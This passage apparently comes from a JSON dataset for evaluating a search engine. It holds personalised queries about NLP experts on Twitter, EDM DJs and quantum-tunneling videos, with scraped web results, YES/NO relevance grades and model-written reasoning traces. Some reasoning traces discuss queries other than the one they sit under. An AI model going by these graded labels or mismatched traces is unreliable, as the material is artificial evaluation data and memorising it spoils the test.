                "model_trace": "Query Decomposition:\n1. {Experts in natural language processing}: The document is about a Twitter profile of someone who has experience with LLMs, Meta AI, and other NLP-related projects -> ([1], SATISFIED)\n2. {Posts technical deep dives and tutorials}: The content mentions that the person creates prompting guides and has a guide with 2.5 million learners, indicating they post educational content -> ([1], SATISFIED)\n3. {On Twitter}: The document is a Twitter profile -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied, indicating that the Twitter profile is likely useful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "Zhichun L. - Software Engineer, Generative AI",
                "url": "https://www.linkedin.com/posts/zhichun-li_software-engineer-generative-ai-activity-7136436295010045953-46eK?trk=public_profile_like_view",
                "published_date": null,
                "text": "Zhichun L.\u2019s Post\n                \n                \n    \n    \n      \n    \n      \n              \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n  \n        \n      \n            \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n        \n            \n                Engineering @ Scale AI\n            \n             \n                \n                  \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n      6mo\n  \n                    \n                    \n                      Edited\n                    \n                \n            \n                 \n  \n        \n      \n              \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n      \n  \n        \n        \n            \n            \n  Life update: Bamboo Labs (Scout AI) got acquired by Scale AI! Ruben Mayer and I were inspired by Alexandr Wang's vision in building the Data Engine that powers the most advanced LLMs and generative models in the world through world-class RLHF, human data generation, model evaluation, safety, and alignment. I am coming back to build a Sr. Engineering Team on the Generative AI Data Engine team.\nWe\u2019re growing rapidly and need your expertise to shape the world\u2019s best experts platform. I\u2019m hiring Tech Leads and EMs who love building top-notch systems.\nJoin me \ud83d\udc49 :\u00a0\nhttps://lnkd.in/gvNnT89Q\nhttps://lnkd.in/g3j9dvgD\nAbout Scale AI:\n- We provide data to help most of the AI companies you\u2019ve heard of improve their models\n- Our GenAI business has grown faster than almost any other startup at our stage, and we are on track to accelerate next year\n- We are filling a fundamental gap in existing AI infrastructure (human intelligence), and the need will only increase over time\n#generatieveai #softwareengineering #engineeringleadership \n        \n      \n            \n    \n    \n      \n      \n    \n    \n    \n      \n        \n      \n        \n   ",
                "model_trace": "Query Decomposition:\n1. {Experts in natural language processing on Twitter}: The document is about a software engineer, Zhichun L., but does not mention Twitter or their activity on it -> ([0], UNSURE)\n2. {Post technical deep dives and tutorials}: The document does not provide information about whether Zhichun L. posts technical deep dives and tutorials -> ([0], UNSURE)\n3. {Learning resource for natural language processing}: The document mentions Zhichun L.'s involvement in generative AI and Scale AI but does not specify if they provide learning resources specifically for natural language processing -> ([0], UNSURE)\n\nAssessment: The document does not contain information about Twitter activity, posting technical deep dives and tutorials, or being a learning resource specifically for natural language processing. Therefore, it does not satisfy any of the relevant subcomponents.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "Joel Dean",
                "url": "https://twitter.com/sirjoeldean/status/1767633154217492988",
                "published_date": null,
                "text": "I'm happy AI software engineers are coming to life. \nWhen I learnt to code it was the most amazing experience. \nEvery project felt like an adventure. \nBut then I joined the corporate world and programming became a job that required hours each day, sometimes chasing bugs with| created_at: Tue Mar 12 19:25:59 +0000 2024 | favorite_count: 3 | is_quote_status: True | lang: en",
                "model_trace": "Query Decomposition:\n1. {experts in the field of natural language processing}: The document does not provide any information about Joel Dean's expertise in natural language processing -> ([0], UNSURE)\n2. {on Twitter}: The document is a Twitter page, so this subcomponent is met -> ([1], SATISFIED)\n3. {post technical deep dives and tutorials}: The content provided does not indicate that Joel Dean posts technical deep dives or tutorials -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {on Twitter} and {post technical deep dives and tutorials}. Since {post technical deep dives and tutorials} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Jessie Du's Post",
                "url": "https://www.linkedin.com/posts/jessiedu_nlp-ai-machinelearning-activity-7163268818411204608-pccr",
                "published_date": null,
                "text": "Jessie Du\u2019s Post\n                \n                \n    \n    \n      \n    \n      \n              \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n  \n        \n      \n            \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n        \n            \n                Talent Acquisition - Executive Search - AI Researcher/Engineer/Senior Principal Researcher/Chief Scientist | Noah\u2018s Ark Lab &amp; Smart Grid Technology Lab\n            \n             \n                \n                  \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n      4mo\n  \n                    \n                    \n                      Edited\n                    \n                \n            \n                 \n  \n        \n      \n              \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n      \n  \n        \n        \n            \n            \n  Are you passionate about pushing the boundaries of knowledge and making impactful discoveries? We\u2019re seeking talented\u00a0Researcher/Senior Researcher to join our dynamic team. As a Researcher, you\u2019ll have the opportunity to contribute to cutting-edge projects, collaborate with experts, and drive innovation in your field.\u00a0If you are interested, please apply via the link below or send me your CV\u00a0to jessie.du@huawei.com\nPosition: Researcher/Senior Researcher - Accelerated Neural Technology\nLocation: Montreal\nType: Full-time\nhttps://lnkd.in/eMVDGHNX\n#nlp #ai #machinelearning #researchers #phd #largelanguagemodels #computerscience #python #pytorch #publication #aicommunity \n        \n      \n            \n    \n    \n  \n                  \n      \n          \n        \n      \n          \n        \n      \n          \n      \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n      \n  \n  \n        \n      \n              \n    \n    \n    \n    \n  \n                    \n      \n            \n        ",
                "model_trace": "Query Decomposition:\n1. [Experts in the field of natural language processing]: The document mentions Jessie Du, who is involved in AI research and talent acquisition, but it's unclear if she is an expert in NLP specifically -> ([1], UNSURE)\n2. [Experts on Twitter]: The document is a LinkedIn post, not related to Twitter -> ([1], UNSATISFIED)\n3. [Post technical deep dives and tutorials]: The document does not provide information about technical deep dives or tutorials -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents related to Twitter and the posting of technical deep dives and tutorials. Therefore, it is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm a music producer interested in the latest trends in electronic dance music. Can you suggest some up-and-coming DJs on Twitter that are pushing the boundaries of the genre?",
        "grid_pos": [
            3,
            6
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "The queries cover a range of topics that would require a good understanding of the internet, social media, and current events to adequately serve. The personalized nature of the queries, with the user describing their background and interests, adds an extra layer of complexity that a smart search engine like Exa would need to handle well. The search result type being Twitter also means the engine would need to be able to surface high-quality, relevant content from that platform specifically.\n\nFor the first query about microplastics, the search engine would need to be able to find the latest research on that topic, understand the user's focus on the Pacific Northwest region, and provide results that are tailored to an environmental science graduate student.\n\nThe second query about vegan food bloggers requires the engine to have a good understanding of the food/cooking domain, be able to identify innovative vegan chefs on Twitter, and provide recommendations that would be useful for a food blogger looking for inspiration.\n\nThe third query about Civil War primary sources demands that the engine can surface compelling firsthand accounts on Twitter, understand the user's interest as a history teacher, and provide content that would be appropriate for a high school classroom.\n\nThe fourth query about NLP experts on Twitter tests the engine's ability to identify authoritative voices in a technical field, understand the user's background as a software engineer, and provide resources that would be helpful for someone learning about NLP.\n\nFinally, the fifth query about electronic dance music trends requires the engine to have a pulse on the latest developments in that genre, identify up-and-coming DJs pushing boundaries, and provide recommendations that would be useful for a music producer.\n\nOverall, these queries cover a wide range of topics and user intents, and would be a good test of Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/sashaofficial",
                "published_date": "2009-05-21",
                "text": "DJ, producer and running my imprint label Last Night On Earth @lnoe_label.| profile_url: http://linktr.ee/djsashaofficial | name: sashaofficial | created_at: Thu May 21 19:30:35 +0000 2009 | favourites_count: 2529 | followers_count: 188342 | friends_count: 773 | media_count: 1974 | possibly_sensitive: False | verified: True | statuses_count: 6965 | location: Amazing to see my collaboration EthBoy Chapter 4: TRANSCEND with digital artist @trevorjonesart art on Oxford Street @W1curates outside @flannelsfashion.\n\n#DJSasha https://twitter.com/sashaofficial/status/1621229793109843972/video/1| created_at: Thu Feb 02 19:31:18 +0000 2023 | favorite_count: 42 | quote_count: 0 | reply_count: 7 | retweet_count: 7 | is_quote_status: False | retweeted: False | lang: en Trevor Jones Takes EthBoy to Light up London\u2019s Oxford Street https://nftplazas.com/trevor-jones-ethboy/| created_at: Wed Feb 01 10:10:46 +0000 2023 | favorite_count: 15 | quote_count: 0 | reply_count: 2 | retweet_count: 1 | is_quote_status: False | retweeted: False | lang: en RT @trevorjonesart: \u23f3 Live! EthBoy Chapter 4: TRANSCEND is open for bidding on @manifoldxyz.\n\n@trevorjonesart & @sashaofficial\n\n69 eth res\u2026| created_at: Tue Jan 31 20:36:31 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 15 | is_quote_status: False | retweeted: False | lang: en I will be hosting a Twitter Space today with @trevorjonesart + special guests for the launch of EthBoy Chapter 4: TRANSCEND.\n\nThe installation can be seen at @W1curates outside of the @flannelsfashion store on Oxford Circus.\n\nhttps://twitter.com/i/spaces/1MnGnpXOWqOxO| created_at: Tue Jan 31 14:43:19 +0000 2023 | favorite_count: 33 | quote_count: 0 | reply_count: 4 | retweet_count: 6 | is_quote_status: False | retweeted: False | lang: en Very excited to have collaborated with @trevorjonesart on his latest NFT - EthBoy Chapter 4: TRANSCEND.\n\nThe piece will be going live tomorrow and for all those based in London, you can see it exhibited on Oxford Street outside @flannelsfashion. Com",
                "model_trace": "Query Decomposition:\n1. {latest trends in electronic dance music}: The document mentions Sasha, a DJ and producer, but does not specifically address the latest trends in electronic dance music -> ([1], UNSATISFIED)\n2. {up-and-coming DJs}: Sasha is a well-established DJ with a significant following and presence, not an up-and-coming DJ -> ([1], UNSATISFIED)\n3. {on Twitter}: The document is a Twitter profile, so this subcomponent is met -> ([1], SATISFIED)\n4. {pushing the boundaries of the genre}: The document does not provide information on whether Sasha is pushing the boundaries of the genre -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {latest trends in electronic dance music}, {up-and-coming DJs}, and {on Twitter}. Since {latest trends in electronic dance music} and {up-and-coming DJs} are unsatisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/realAdamBeyer",
                "published_date": "2009-03-25",
                "text": "DJ / Producer and label boss of @drumcoderecords| profile_url: http://www.facebook.com/realadambeyer | name: Adam Beyer | created_at: Wed Mar 25 21:32:20 +0000 2009 | favourites_count: 5879 | followers_count: 206585 | friends_count: 502 | media_count: 485 | possibly_sensitive: False | verified: False | statuses_count: 15153 | location: Ibiza https://www.beatport.com/chart/legend/763080 #beatport via @beatport| created_at: Fri Feb 10 16:38:53 +0000 2023 | favorite_count: 23 | quote_count: 0 | reply_count: 1 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: qme RT @drumcoderecords: Label boss @realAdamBeyer returns with his first release of 2023 - Legend. Follow the link below to stream and downloa\u2026| created_at: Fri Feb 10 14:28:22 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 18 | is_quote_status: False | retweeted: False | lang: en We've also started a new series of mixes for my label @TruesoulRecords you can hear the first one here: https://soundcloud.com/truesoul/tss001-truesoul-sounds-township-rebellion-mix-from-germany| created_at: Mon Feb 06 14:12:26 +0000 2023 | favorite_count: 36 | quote_count: 0 | reply_count: 2 | retweet_count: 2 | is_quote_status: False | retweeted: False | lang: en My 5h set from @clubspacemiami is now up on my @SoundCloud https://soundcloud.com/adambeyer/adam-beyer-space-miami-18th-nov-22 \u270c\ufe0f\ud83c\udffd| created_at: Mon Feb 06 13:24:17 +0000 2023 | favorite_count: 122 | quote_count: 5 | reply_count: 4 | retweet_count: 26 | is_quote_status: False | retweeted: False | lang: en RT @drumcoderecords: the Drumcode x @tomorrowland lineup is HERE \ud83d\udc7d\n\nStacked with heavy-hitters, your adventure through techno this July is\u2026| created_at: Sun Jan 29 16:08:15 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 19 | is_quote_status: False | retweeted: False | lang: en Today is my 100th gig for @awakenings pretty insane \ud83e\udd2f\ud83d\udda4\ud83d\udcab| created_at: Sat Jan 28 13:35:02 +0000 2023 | favorite_count: 582 | quote_count: 2 | reply_count: 19 | r",
                "model_trace": "Query Decomposition:\n1. {latest trends in electronic dance music}: The document does not provide information about the latest trends in electronic dance music -> ([0], UNSURE)\n2. {up-and-coming DJs}: Adam Beyer is a well-known DJ and producer, not an up-and-coming DJ -> ([1], UNSATISFIED)\n3. {DJs on Twitter}: The document is a Twitter profile of a DJ -> ([1], SATISFIED)\n4. {pushing the boundaries of the genre}: The document does not provide specific information about whether Adam Beyer is pushing the boundaries of the genre -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {up-and-coming DJs} and {DJs on Twitter}. Since {up-and-coming DJs} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/djdiesel",
                "published_date": "2019-09-30",
                "text": "\u2b07\ufe0f GORILLA WARFARE \u2022 OUT NOW \u2b07\ufe0f| profile_url: https://monster.cat/gorillawarfare-spotify | name: DJ Diesel | created_at: Mon Sep 30 18:16:16 +0000 2019 | favourites_count: 751 | followers_count: 85629 | friends_count: 1068 | media_count: 135 | possibly_sensitive: False | verified: False | statuses_count: 707 | location: We are taking SHAQ\u2019s Bass All Stars to the next level with my very own bass festival \u201cSHAQ\u2019S BASS ALL STARS: FESTIVAL\u201d on September 16th at Panther Island Pavilion in Dallas/Fort Worth! This will be the largest bass festival in Texas with 2 stages and 15 of my favorite bass and\u2026 https://t.co/JrvH4YlTzH| created_at: Tue Jun 20 15:06:25 +0000 2023 | favorite_count: 4033 | quote_count: 284 | reply_count: 197 | retweet_count: 660 | is_quote_status: False | retweeted: False | lang: en I need start following y\u2019all back| created_at: Wed May 04 21:46:22 +0000 2022 | favorite_count: 22730 | quote_count: 198 | reply_count: 2586 | retweet_count: 761 | is_quote_status: False | retweeted: False | lang: en Everyone asks me what my favorite team I played for is.\n\nThis one. https://t.co/DOl5Ch3hco| created_at: Mon Sep 26 20:43:55 +0000 2022 | favorite_count: 20568 | quote_count: 406 | reply_count: 297 | retweet_count: 3497 | is_quote_status: False | retweeted: False | lang: en Everyones favorite part of a rave https://t.co/yXD2xL2I3d| created_at: Wed Sep 07 22:02:51 +0000 2022 | favorite_count: 17339 | quote_count: 166 | reply_count: 378 | retweet_count: 1667 | is_quote_status: False | retweeted: False | lang: en It didn\u2019t happen overnight https://t.co/e5m3kr2WuH| created_at: Mon Sep 05 18:44:39 +0000 2022 | favorite_count: 14272 | quote_count: 100 | reply_count: 586 | retweet_count: 1355 | is_quote_status: False | retweeted: False | lang: en Djdieselpromo@gmail.com I don\u2019t care if you have 3 or 30 mil followers, if the music is good I\u2019ll play it in my sets. I check that email daily.| created_at: Wed Nov 17 20:57:17 +0000 2021 | favorite_count: 12236 | quote_count: 267 | reply_count: 802 | retweet_count: 1717 | i",
                "model_trace": "Query Decomposition:\n1. {music producer interested in the latest trends in electronic dance music}: This subcomponent is about the user's interest, which is not directly relevant to evaluating the document -> ([0], UNSURE)\n2. {up-and-coming DJs on Twitter}: The document is about DJ Diesel, but it does not clarify if DJ Diesel is an up-and-coming DJ -> ([1], UNSURE)\n3. {pushing the boundaries of the genre}: The document does not provide information about whether DJ Diesel is pushing the boundaries of electronic dance music -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {up-and-coming DJs on Twitter}, but the document does not clearly indicate whether DJ Diesel is an up-and-coming DJ. Therefore, the document does not satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "The Best Social Media Strategy For DJs And Electronic Music ...",
                "url": "https://pickyourself.com/music-promotion/social-media-strategy/",
                "published_date": null,
                "text": "Why most social media strategies suck Sorry but not sorry. I had to write this headline because I\u2019ve been doing some research on this topic and I was shocked about the search results that have popped up. There\u2019s barely any \u201cstrategy\u201d out there because I don\u2019t think a collection of little tips and tricks counts as a social media strategy. Neither do I think it\u2019s a good idea to repost or comment on stuff by big profile DJs and producers just to steal some of their reach. Honestly? Is that how you want to grow your audience? Moreover, I don\u2019t believe should try to \u201cgame the system\u201d and exploit every loophole in the algorithms of Instagram, Facebook, or YouTube just to gain a little advantage. These hacks won\u2019t last long and a couple of months later, you will be punished by the almighty algorithms for trying to screw them. You should think about your audience, not about ones and zeros. Common social media mistakes of DJs and electronic music producers From all the articles I\u2019ve researched, the one by DJTechTools stood out positively. In their blog post about the\u00a0five most common DJ social media mistakes, they\u2019re listing five no-gos which I totally support:  FREE GUIDE + EMAIL SERIES FINISH ONE GREAT-SOUNDING SONG PER\u00a0MONTH! Get my 3-step Finisher Framework\u2122\u00a0as well as an exclusive email series on how to finish pro-sounding tracks, consistently.    Overhyping everything (\u201cbig news coming soon!\u201d)   Not engaging enough (treating your social channels as ad space only)   Track previews (video snippets of things that are not up to your usual quality standard)   Tweeting in anger/ showcasing bad behavior (just remember Ten Walls and his offensive comments\u2026)   While this DJTechTools article\u2019s intent wasn\u2019t to provide a comprehensive social media strategy for DJs and producers, I still think it\u2019s a good starting point.\u00a0 I would even add a few things to the list of no-gos:   Jumping on the bandwagon of every discussion in the scene (even if it doesn\u2019t really concern you)   Pretending to be bigger than you really are (interesti",
                "model_trace": "Query Decomposition:\n1. {latest trends in electronic dance music}: The document does not discuss the latest trends in electronic dance music -> ([0], UNSURE)\n2. {up-and-coming DJs}: The document does not mention any up-and-coming DJs -> ([0], UNSURE)\n3. {Twitter}: The document does not mention Twitter specifically -> ([0], UNSURE)\n4. {pushing the boundaries of the genre}: The document does not provide information on DJs pushing the boundaries of electronic dance music -> ([0], UNSURE)\n\nAssessment: The document does not address any of the subcomponents of the query. It focuses on social media strategies for DJs and electronic music producers but does not provide information on up-and-coming DJs, latest trends, or specific recommendations on Twitter. NO."
            },
            {
                "grade": "NO",
                "title": "Striking A Balance As A DJ/Producer - Pirate",
                "url": "https://pirate.com/en/blog/dj-producer/",
                "published_date": null,
                "text": "We spoke to various artists to find out what it takes to become a successful DJ/producer, whether DJing enhances production and vice versa. \nDJ/producers are one of the most popular types of DJs, and with good reason.\nWithin electronic music, DJing and producing are intrinsically linked. Producers are often making music with one eye on what\u2019s being played out by DJs in the clubs. Similarly, a good DJ is constantly digging for new music, keeping their eye on what their favourite labels are pushing out and constantly evolving their style in line with current trends and technological advances.\nIt\u2019s not hard to see why someone who starts out as a DJ might make a great producer or vice versa. It\u2019s more difficult to see how individuals who do both, balance these fundamentally different skills.\nWith that in mind, I caught up with a couple of DJ/producers to find out how they became hybrid artists and whether they feel these two art forms are mutually beneficial.         \nDJ/Producer ENiGMA Dubz          How To Become A DJ Producer\nDJ/producers generally start out as either DJs or producers, then they become interested in learning the other skill after some time.\nENiGMA Dubz has been pushing the boundaries of bass music since he burst onto the scene more than a decade ago. He describes himself as \u201cmore of a producer\u201d but explains DJing helped him get into producing \u201cproperly\u201d:\n\u201cBefore learning how to mix, I was composing music on a keyboard and recording layers/creating basic tracks. DJing opened my mind to the process of producing using software and ultimately opened the doors to all the engineering and co-writing I do behind the scenes.\u201d\nSo despite starting out composing, without getting into DJing, ENiGMA Dubz may have ended up still writing music on a keyboard, he might never have changed his method of making music without being driven in a new musical direction towards dance music - something which has clearly paid off in his case.\nIndeed, this is a common route for many. Perhaps your parents forced you to take bori",
                "model_trace": "Query Decomposition:\n1. {latest trends in electronic dance music}: The document discusses the link between DJing and producing within electronic music, which is relevant to trends in the genre -> ([2], SATISFIED)\n2. {up-and-coming DJs}: The document mentions ENiGMA Dubz, but it is unclear if he is considered \"up-and-coming\" as he has been on the scene for more than a decade -> ([1], UNSURE)\n3. {DJs on Twitter}: The document does not provide information about DJs on Twitter -> ([0], UNSURE)\n4. {pushing the boundaries of the genre}: The document mentions that ENiGMA Dubz has been pushing the boundaries of bass music -> ([2], SATISFIED)\n\nAssessment: The document partially satisfies the subcomponents related to trends in electronic dance music and DJs pushing boundaries. However, it does not provide a list of up-and-coming DJs on Twitter, which is a critical part of the query. NO."
            },
            {
                "grade": "NO",
                "title": "Different music styles / Same artist? - Elektronauts",
                "url": "https://www.elektronauts.com/t/different-music-styles-same-artist/184380",
                "published_date": null,
                "text": "||||I||||      Sign Up Log In\n    Different music styles / Same artist?\n      The Lounge General Discussion\n      basti_bochum December 3, 2022, 11:10pm #1\n      Hej,\n      a few years ago i started jamming with some boxes and now i\u2019m releasing first sessions and songs.\n      I do a kind of deep house but also liquid DND -> DNB.\n      My question: should I perform as one artist, with both styles, or should I invent an \u201calter ego\u201d for each style?\n      As a listener, I personally wouldn\u2019t mind this on Youtube etc., but when I listen to a deep house artist on Spotify, I don\u2019t want to hear DNB out of nowhere\u2026\n      What do you think?\n      I would be very happy about your opinion!\n      4 Likes\n      lowph December 3, 2022, 10:48pm #2\n      I think this is an interesting question. I don\u2019t know the answer, but I\u2019ve thought about this a bit.\n      Maybe using an alias makes sense if the target audience are DJs? If you\u2019re making tracks to be mixed by DJs, I can see the benefit of having different names, so the different DJs can keep track of music in the style they spin.\n      If you\u2019re making music where the goal is for people to listen at home, at the gym, in their cars, etc it might not matter too much if the same artist name is used.\n      I don\u2019t think there\u2019s a wrong answer!\n        basti_bochum:\n      liquid DND\n      Is this when nerds get together in a pool and play Dungeons and Dragons?\n      5 Likes\n      pselodux December 3, 2022, 10:58pm #3\n      I also struggle with this. I produce under a lot of different names but even within those I tend to vary things a lot sometimes, e.g. my Pselodux releases have ranged from chiptune to IDM to prog metal.\n      I also dislike being in the mood for a specific genre and having an album jump all over the place. But at the same time, sometimes I like that (cf. Ween).\n      I\u2019ve even considered ditching all the pseudonyms and just releasing everything under my real name, and letting listeners sort it out themselves\n      3 Likes\n      maymind_trax December 3, 2022, 10:56",
                "model_trace": "Query Decomposition:\n1. {latest trends in electronic dance music}: The document does not discuss trends in electronic dance music -> ([0], UNSATISFIED)\n2. {up-and-coming DJs on Twitter}: The document does not mention any DJs, let alone up-and-coming ones on Twitter -> ([0], UNSATISFIED)\n3. {pushing the boundaries of the genre}: The document does not discuss DJs pushing the boundaries of electronic dance music -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the subcomponents of the query. NO."
            }
        ]
    },
    {
        "query": "I'm a high school physics teacher looking for an engaging video to show my students that illustrates how quantum tunneling works in a relatable way.",
        "grid_pos": [
            3,
            7
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. A video that provides an intuitive explanation of backpropagation in neural networks could help computer science students develop a better understanding of this fundamental machine learning algorithm.\n\n2. A video that uses relatable analogies and examples to illustrate the concept of quantum tunneling could make this complex physics topic more accessible for high school students.\n\n3. Providing the location of the nearest medical facility that can evaluate and treat a concussion near the Appalachian trail trailhead would be helpful information for the user's friend.\n\n4. Finding a TV show or movie that positively depicts single fathers raising their children could be valuable for a new parent looking for family-friendly content.\n\n5. A documentary exploring the history and cultural significance of traditional weaving techniques from around the world could be an insightful resource for a fashion design student."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "What is Quantum Tunneling?",
                "url": "https://www.youtube.com/watch?v=cTodS8hkSDg&feature=youtu.be",
                "published_date": "2011-08-14",
                "text": "Tweet it - http://bit.ly/okHiQ7\\r\nFacebook it - http://on.fb.me/qA1dYk\\r\n\\r\nminutephysics is now on Google+ - http://bit.ly/qzEwc6 \\r\nAnd facebook - http://facebook.com/minutephysics\\r\n\\r\nMinute Physics provides an energetic and entertaining view of old and new problems in physics -- all in a minute!\\r\n\\r\nIn this episode we explain what quantum tunneling is and how it works! To see quantum tunneling in action, watch http://bit.ly/pJhIdW and learn about the sun!\\r\n\\r\nMusic by Nathaniel Schroeder\\r\nyoutube: http://bit.ly/pakJLE\\r\nmyspace: http://mysp.ac/qtmZQj Created by Henry Reich\n| view_count: 2,402,902 views | short_view_count: 2.4M views | num_likes: 17K | num_subscribers: 5.62",
                "model_trace": "Query Decomposition:\n1. {engaging video}: The document describes a video from Minute Physics, known for creating engaging and entertaining physics content -> ([1], SATISFIED)\n2. {illustrates how quantum tunneling works}: The video specifically explains what quantum tunneling is and how it works -> ([1], SATISFIED)\n3. {relatable way}: Minute Physics is known for making complex topics accessible and relatable to a general audience, including high school students -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Quantum Tunneling Explained",
                "url": "https://www.youtube.com/watch?v=c6bn_tPDb1M",
                "published_date": "2015-10-08",
                "text": "Quantum tunneling is a subject that is quite difficult to understand as it is highly mathematical in nature. In this video, I attempt to provide a basic intuition as to how quantum tunneling works. Even though the concept may seem far-fetched and even implausible, quantum tunneling is in fact commonplace in the real world.\n\nMusic: \u201cTheme in G\u201d by Tate Peterson; Licensed under a CC BY-NC 3.0; Link: http://freemusicarchive.org/music/Tate_Peterson/Blues_Guitar/Theme_In_G\n| view_count: 97,095 views | short_view_count: 97K views | num_likes: 1.7K | num_subscribers: 422",
                "model_trace": "Query Decomposition:\n1. {Engaging video}: The document is a YouTube video, which is typically engaging for students -> ([1], SATISFIED)\n2. {Illustrates how quantum tunneling works}: The video explicitly aims to provide a basic intuition on how quantum tunneling works -> ([1], SATISFIED)\n3. {Relatable way}: The content mentions that the video attempts to make the concept understandable despite its complexity, suggesting a relatable approach -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "What is Quantum Tunneling, Exactly?",
                "url": "https://www.youtube.com/watch?v=WPZLRtyvEqo&feature=youtu.be",
                "published_date": "2018-10-09",
                "text": "Sign up to brilliant.org to receive a 20% discount with this link! https://brilliant.org/upandatom/\n\nIn this video we explore the quantum phenomenon of quantum tunneling, where an electron can tunnel through a barrier no classical object could.\n\n*Quantum Physics Playlist:\nhttps://www.youtube.com/playlist?list=PL1lNrW4e0G8WmWpW846oE_m92nw3rlOpz\n\nFrustrated Total Internal Reflection Demo:\nhttps://youtu.be/aC-4iSD2aRA\n\nHi! I'm Jade. Subscribe to Up and Atom for new physics, math and computer science videos every two weeks!\n\n*SUBSCRIBE TO UP AND ATOM* https://www.youtube.com/c/upandatom\n\nVisit the Up and Atom Store\nhttps://store.nebula.app/collections/up-and-atom\n\n*Follow me* @upndatom\n\nUp and Atom on instagram: https://www.instagram.com/upndatom/\n\nUp and Atom on Twitter: https://twitter.com/upndatom?lang=en\n\nA big thank you to my AMAZING PATRONS! \nSkully, Paul Kendra, Ofer Mustigman, Daeil Kim, Harsh Tank, Alan McNea, Daniel Tan-Holmes, Simon Mackenzie, Dag-Erling Sm\u00f8rgrav, Chris Flynn, Andrew Pann, Anne Tan, Joe Court, John Satchell, John Shioli, Adam Thornton, Ayan Doss, Marc Watkins, Sung-Ho Lee, Todd Loreman, Susan Jones, Jareth Arnold, Xiao Fan, Simon Barker, Shawn Patrick James Kirby, Simon Tobar, Drew Davis, Rob Harris, Dennis Haupt, David M., Ammaar Esmailjee, M.H. Beales, Doug Cowles, Stephen Veitch, Renato Pereira, Simon Dargaville, Noah McCann and Magesh.\n\nIf you'd like to consider supporting Up and Atom, head over to my Patreon page :) \nhttps://www.patreon.com/upandatom\n\nFor a one time donation, head over to my PayPal :) \nhttps://www.paypal.me/upandatomshows\n\nWhat is the Schr\u00f6dinger Equation, Exactly?\nhttps://youtu.be/QeUMFo8sODk\n\nThe Intuition Behind the Uncertainty Principle\nhttps://youtu.be/qwt6wUUD2QI\n\n*Sources:\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC3768233/pdf/COC-17-1758.pdf\nhttp://mmrc.caltech.edu/FTIR/Literature/ATR/Nature%20of%20Evanescent%20Wave%20AS%202%202013.pdf\nhttp://tediousderivations.blogspot.com/2013/08/rectangular-potential-barrier.html\nhttp://www.tcm.phy.cam.ac.uk/~bds10/aqp/ha",
                "model_trace": "Query Decomposition:\n1. {Engaging video}: The document is a YouTube video titled \"What is Quantum Tunneling, Exactly?\" which suggests it is likely to be engaging -> ([1], SATISFIED)\n2. {Illustrates how quantum tunneling works}: The video specifically explores the quantum phenomenon of quantum tunneling, which directly addresses this subcomponent -> ([1], SATISFIED)\n3. {Relatable way}: The video is from a channel called \"Up and Atom,\" which is known for making complex topics accessible and engaging. The presence of a demo and the channel's focus on educational content suggests a relatable approach -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "How to Make a Quantum Tunnel In Real Life - YouTube",
                "url": "https://www.youtube.com/watch?v=kvSlaIwUCuk",
                "published_date": null,
